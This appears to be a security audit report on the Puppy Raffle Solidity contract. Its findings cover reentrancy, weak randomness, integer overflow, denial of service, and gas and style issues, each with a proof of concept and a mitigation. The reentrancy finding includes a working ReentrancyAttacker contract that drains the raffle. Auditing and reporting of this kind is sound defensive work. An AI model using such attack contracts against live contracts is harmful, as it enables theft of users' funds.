tRY

Puppy Raffle Audit Report

Version 1.0

theRealYagami.io

October 9, 2024

Puppy Raffle Audit Report

Oluwaponmile Marvelous Odenusi

October 9, 2024

Prepared by: Oluwaponmile Marvelous Odenusi Lead Auditors: Oluwaponmile Marvelous Odenusi

Table of Contents

    * [M-1] The loop performed to check for dupicates in the players' array in `PuppyRaffle::enterRaffle` has the potential for a Denial Of Service (DOS) attack, incrementing gas cost for future entrants.
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variable should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational/Non-Critical
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning value to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State Changes are Missing Events
    * [I-7] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Oluwaponmile Marvelous Odenusi team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I enjoyed auditing Puppy Raffle, I was able to uncover multiple attack vectors in the process.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects and Interactions) and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making the external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6
7  @>         payable(msg.sender).sendValue(entranceFee);
8  @>         players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and get another refund. They could continue the cycle until the contract balancr is drained.

Impact: All fees paid by entrants could be stolen by a malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback`/`receive` function that calls `PuppyRaffle::refund` function. 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

PoC Place the following code into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, 1 ether);
12
13         uint256 startingAttackContractBalance = address(
               attackerContract).balance;
14         uint256 startingContractBalance = address(puppyRaffle).balance;
15
16         // attack
17
18         vm.prank(attackUser);
19         attackerContract.attack{value: entranceFee}();
20
21         console.log("starting attacker contract balance:",
               startingAttackContractBalance);
22         console.log("starting contract balance:",
               startingContractBalance);
23
24         console.log("ending attacker contract balance", address(
               attackerContract).balance);
25         console.log("ending contract balance", address(puppyRaffle).
               balance);
26     }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
```

```
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we shoud have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making an external call to `msg.sender`. Additionally we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +        players[playerIndex] = address(0);
6   +        emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8
9   -        players[playerIndex] = address(0);
10  -        emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao. `block.difficulty` was recently replaced with `block.prevrandao`. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 800000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
```

```
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
1  function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
5          puppyRaffle.selectWinner();
6          uint256 startingTotalFees = puppyRaffle.totalFees();
7          // startingTotalFees = 800000000000000000
8
9          // We then have 89 players enter a new raffle
10         uint256 playersNum = 89;
11         address[] memory players = new address[](playersNum);
12         for (uint256 i = 0; i < playersNum; i++) {
13             players[i] = address(i);
14         }
15         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
16         // We end the raffle
17         vm.warp(block.timestamp + duration + 1);
18         vm.roll(block.number + 1);
19
20         // And here is where the issue occurs
21         // We will now have fewer fees even though we just finished a
               second raffle
22         puppyRaffle.selectWinner();
23
24         uint256 endingTotalFees = puppyRaffle.totalFees();
25         console.log("ending total fees", endingTotalFees);
26         assert(endingTotalFees < startingTotalFees);
27
28         // We are also unable to withdraw any fees because of the
               require check
29         vm.prank(puppyRaffle.feeAddress());
30         vm.expectRevert("PuppyRaffle: There are currently players
               active!");
31         puppyRaffle.withdrawFees();
32     }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] The loop performed to check for dupicates in the players' array in `PuppyRaffle::enterRaffle` has the potential for a Denial Of Service (DOS) attack, incrementing gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks subsequent players have to make. This means that the gas cost for players who enter right after the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas This is about 3 times more expensive compared to the first 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_DenialOfService() public {

        vm.txGasPrice(1);

        // Lets enter 100 players

        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for first 100 players", gasUsedFirst);

        // now for the 2nd 100 players

        address[] memory playersTwo = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            playersTwo[i] = address(i + numPlayers);
        }

        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost for first 100 players", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There is a number of recommendations. 1. Consider allowing duplicates. Since users can't be prevented from making new wallet addresses, a duplicate check doesn't prevent

the same person from entering the raffle more than once. 2. Consider using a mapping to check for duplicates. This allows for constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
```

```
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9  @>       totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

```
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return zero, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  /// @return the index of the player in the array, if they are not
       active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
       uint256) {
3          for (uint256 i = 0; i < players.length; i++) {
4              if (players[i] == player) {
5                  return i;
6              }
7          }
8          return 0;
9      }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and they may attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competetion, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1  + uint256 playersLength = players.length;
2  - for (uint256 i = 0; i < players.length - 1; i++) {
3  + for (uint256 i = 0; i < playersLength - 1; i++) {
4  -             for (uint256 j = i + 1; j < players.length; j++) {
```

```
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational/Non-Critical

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2]: Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Unimplemented functions *Configuration* Check: unimplemented-functions Severity: Informational Confidence: High

Description Detect functions that are not implemented on derived-most contracts.

Exploit Scenario:

```
interface BaseInterface {
    function f1() external returns(uint);
    function f2() external returns(uint);
}

interface BaseInterface2 {
    function f3() external returns(uint);
}

contract DerivedContract is BaseInterface, BaseInterface2 {
    function f1() external returns(uint){
        return 42;
    }
```

```
14 }
```

`DerivedContract` does not implement `BaseInterface.f2` or `BaseInterface2.f3`. As a result, the contract will not properly compile. All unimplemented functions must be implemented on a contract that is meant to be used.

Recommendation Implement all unimplemented functions in any contract you intend to use directly (not simply inherit from).

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning value to address state variables

Assigning values to address state variables without checking for `address(0)`

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
```

```
6       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
1  ```diff
2  -    function _isActivePlayer() internal view returns (bool) {
3  -        for (uint256 i = 0; i < players.length; i++) {
4  -            if (players[i] == msg.sender) {
5  -                return true;
6  -            }
7  -        }
8  -        return false;
9  -    }
10 ```
```